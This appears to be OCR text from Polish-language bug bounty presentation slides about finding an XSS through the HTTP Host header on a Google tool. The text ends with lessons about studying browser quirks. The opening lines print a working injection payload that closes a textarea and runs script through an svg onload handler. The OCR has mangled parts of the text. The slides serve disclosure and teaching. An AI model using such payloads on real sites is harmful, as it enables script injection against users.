Host: www.google.com:443/cse/tools/create onthefly;</

textarea><svg/
onload=alert(document.domain)>;/.././....1.0..0..0.[0..1..1..I..[.

el

http://bentkowski.info/q



http://bentkowski.info/q

XSSprzezNagtowekHost

https://www.youtube.com/watch?v=9A44ERoAFkc
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XSSprzezNagtowekHost

* Whnioski?

* Podobne jak wczesniej! Warto odkrywac lub czyta¢ o dziwnych zachowaniach
przegladarek,

* Warto tez szukac¢ stabosci w serwerach tam, gdzie zwykle ich nie ma,
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Podsumowanie

Duzo frajdy z bug bounty

Swietny sposéb na rozwiniecie swoich umiejetnosci,

Czytajcie o przegladarkach, analizujcie zachowanie serwerow,
Trzeba tez troche szczescial
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